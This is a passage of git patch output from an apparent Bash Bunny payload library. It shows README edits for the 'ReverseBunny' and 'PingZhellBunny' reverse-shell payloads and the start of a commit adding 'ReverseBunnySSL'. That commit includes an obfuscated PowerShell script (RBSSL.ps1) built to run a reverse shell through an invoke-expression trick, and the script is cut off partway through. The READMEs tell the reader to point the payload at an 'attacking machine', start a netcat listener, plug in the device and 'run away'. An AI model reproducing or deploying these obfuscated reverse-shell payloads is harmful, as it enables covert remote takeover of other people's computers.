Windows version, this might not work as intended!** +# **Instruction:** Place BunnyDump.bat in the same payload switch-folder as your payload.txt From c93463ccf6e4dbf42cdb5e63ff96d4cfb2d01795 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 6 Apr 2022 08:10:13 +0200 Subject: [PATCH 43/59] Update README.md --- payloads/library/remote_access/ReverseBunny/README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/payloads/library/remote_access/ReverseBunny/README.md b/payloads/library/remote_access/ReverseBunny/README.md index 7fced069..acf1727e 100644 --- a/payloads/library/remote_access/ReverseBunny/README.md +++ b/payloads/library/remote_access/ReverseBunny/README.md @@ -1,14 +1,14 @@ -Title: ReverseBunny +**Title: ReverseBunny** Author: 0iphor13 -Version: 1.2 +Version: 1.3 Getting remote access via obfuscated reverse shell. -Change the variables in payload.txt to your attacking maschine & start your listener. +Change the variables in payload.txt to your attacking maschine & start your listener. (for example netcat: nc -lvnp [PORT] ) -Whats new in version 1.2? +Whats new in version 1.3? - Changed the whole payload - Added custom shell design From ed07188c3a0cfa14f5f9c89e6ffbdb88b6051087 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 6 Apr 2022 08:17:41 +0200 Subject: [PATCH 44/59] Update README.md --- payloads/library/remote_access/ReverseBunny/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/remote_access/ReverseBunny/README.md b/payloads/library/remote_access/ReverseBunny/README.md index acf1727e..5cd530b3 100644 --- a/payloads/library/remote_access/ReverseBunny/README.md +++ b/payloads/library/remote_access/ReverseBunny/README.md @@ -5,8 +5,8 @@ Author: 0iphor13 Version: 1.3 -Getting remote access via obfuscated reverse shell. -Change the variables in payload.txt to your attacking maschine & start your listener. (for example netcat: nc -lvnp [PORT] ) +

    Getting remote access via obfuscated reverse shell.
    +Change the variables in payload.txt to your attacking maschine & start your listener. (for example netcat: nc -lvnp [PORT] )

    Whats new in version 1.3? - Changed the whole payload From 7ee6003cb7b2cc2fa4907225c9c7b9ff32866a78 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 11 Apr 2022 12:07:35 +0200 Subject: [PATCH 45/59] Update README.md --- .../library/remote_access/PingZhellBunny/README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/payloads/library/remote_access/PingZhellBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md index fe1bcb23..ac8ccd9f 100644 --- a/payloads/library/remote_access/PingZhellBunny/README.md +++ b/payloads/library/remote_access/PingZhellBunny/README.md @@ -24,18 +24,18 @@ Install dependencies, if needed: - NetPacket::ICMP Disable ICMP replies by the OS: - *sysctl -w net.ipv4.icmp_echo_ignore_all=1* + `sysctl -w net.ipv4.icmp_echo_ignore_all=1` Start Bunny.pl -> perl Bunny.pl # !!!Insert the IP of your attacking machine into PingZhell.ps1!!! # -Plug in Bashbunny with PingZhellBunny equipped. -Achieve reverse shell. -run away <3 +

    Plug in Bashbunny with PingZhellBunny equipped.
    +Achieve reverse shell.
    + run away <3

    Credit for code and ideas: - bdamele -- nishang +- samratashok - krabelize From 86c1523a77afbe04e64b9762262fd001cd3e1d9f Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sun, 8 May 2022 13:24:35 +0200 Subject: [PATCH 46/59] Uploaded ReverseBunnySSL --- .../remote_access/ReverseBunnySSL/RBSSL.ps1 | 1 + .../remote_access/ReverseBunnySSL/README.md | 30 ++++++++++++ .../ReverseBunnySSL/Startscreen.png | Bin 0 -> 33161 bytes .../remote_access/ReverseBunnySSL/payload.txt | 44 ++++++++++++++++++ 4 files changed, 75 insertions(+) create mode 100644 payloads/library/remote_access/ReverseBunnySSL/RBSSL.ps1 create mode 100644 payloads/library/remote_access/ReverseBunnySSL/README.md create mode 100644 payloads/library/remote_access/ReverseBunnySSL/Startscreen.png create mode 100644 payloads/library/remote_access/ReverseBunnySSL/payload.txt diff --git a/payloads/library/remote_access/ReverseBunnySSL/RBSSL.ps1 b/payloads/library/remote_access/ReverseBunnySSL/RBSSL.ps1 new file mode 100644 index 00000000..93adacf5 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunnySSL/RBSSL.ps1 @@ -0,0 +1 @@ + . ( $enV:coMspeC[4,15,25]-JOIn'')( [STRINg]::joiN( '', ( [REgex]::mAtcHEs( ")'X'+]03[eMOhsP$+]4[eMohsp$ (&| )'$','2y6'(ECalPER.)43]rahc[]gNirTS[,)711]rahc[+86]rahc[+011]rahc[((ECalPER.)421]rahc[]gNirTS[,'VYR'(ECalPER.)93]rahc[]gNirTS[,)211]rahc[+001]rahc[+08]rahc[((ECalPER.)69]rahc[]gNirTS[,)99]rahc[+88]rahc[+75]rahc[((ECalPER.)'}/+{2y6 .VYR uDn )}%*{2y6}-=2y6{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6 +}-=2y6{2y6}#-/{2y6}@{2y6+}%*{2y6}#-/{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6}pdP~#{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +})+{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6}~{2y6}@{2y6+})+{2y6}~{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+}pdP~#{2y6'+'})+{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6})({2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6+})+{2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6}~{2y6}@{2y6+})+{2y6}~{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*'+'{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6+ }%*{2y6}pdP~#{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 +}-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+})+{2y6}-=2y6{2y6}@{2y6 + }#-/{2y6}#-/{2y6}@{2y6+ })({2y6}#-/{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+}-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6+})+{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6+}#-/{2y6}#-/{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+ }-=2y6{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6})({2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6 + }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+}cX9cX9{2y6}pdP~#{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 + };{2y6}~{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6})({2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6 + }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+}cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6}#-/{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+}-=2y6{2'+'y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+})+{2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6 + })+{2y6}~{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}cX9cX9{2y6}#-/{2y6}@{2y6 + }2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6})({2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6+}cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 +}-=2y6{2y6}#-/{2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+}-=2y6{2y6};{2y6}%'+'*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6 + })+{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6}~{2y6}@{2y6 + })+{2y6}~{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 +})+{2y6}#-/{2y6}@{2y6+})({2y6}#-/{2y6}@{2y6+ })+{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+ }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6 +})+{2y6}-=2y6{2y6}@{2y6 + })+{2y6}#-/{2y6}@{2y6+}#-/{2y6}#-/{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 +}-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6 + })+{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+ }%*{2y6}pdP~#{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6})({2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6+ })({2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 +}-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6}pdP~#{2y6}@{2y6 + })+{2y6}-=2y6{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 +}-=2y6{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+ })+{2y6}-=2y6{2y6}@{2y6 +})({2y6}#-/{2y6}@{2y6+ }#-/{2y6}#-/{2y6}@{2y6+ })+{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6})({2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + };{2y6}~{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }~{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }~{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6+};{2y6}~{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6}2y6{2y6}@{2y6 +}%*{2y6}~{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6+ }#-/{2y6}-=2y6{2y6}@{2y6+ }#-/{2y6}-=2y6{2y6}@{2y6 +}#-/{2y6}2y6{2y6}@{2y6+ }#-/{2y6}~{2y6}@{2y6+}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }~{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}%*{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6})({2y6}@{2y6+}-=2y6{2y6}2y6{2y6}@{2y6+}%*{2y6})({2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ })({2y6}2y6{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 +}#-/{2y6};{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6})({2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 +}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{'+'2y6+ }~{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+ })({2y6}-=2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 + };{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6 +}2y6{2y6};{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }2y6{2y6}~{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6 +}pdP~#{2y6}~{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }%*{2y6})({2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 +'+' }~{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 + }-=2y6{2y6})({2y6}@{2y6 + }cX9cX9{2y6}#-/{2y6}@{2y6+ }2y6{2y6}%*{2y6}%*{2y6}@{2y6+}cX9cX9{2y6}2y6{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6 + })+{2y6}pdP~#{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}-=2y6{2y6}2y6{2y6}@{2y6 + }2y6{2y6}~{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6 +};{2y6}2y6{2y6}@{2y6 + }%*{2y6}pdP~#{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6 +})({2y6}~{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 + }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6 +}%*{2y6}~{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6})({2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6 +}%*{2y6}~{2y6}@{2y6+ 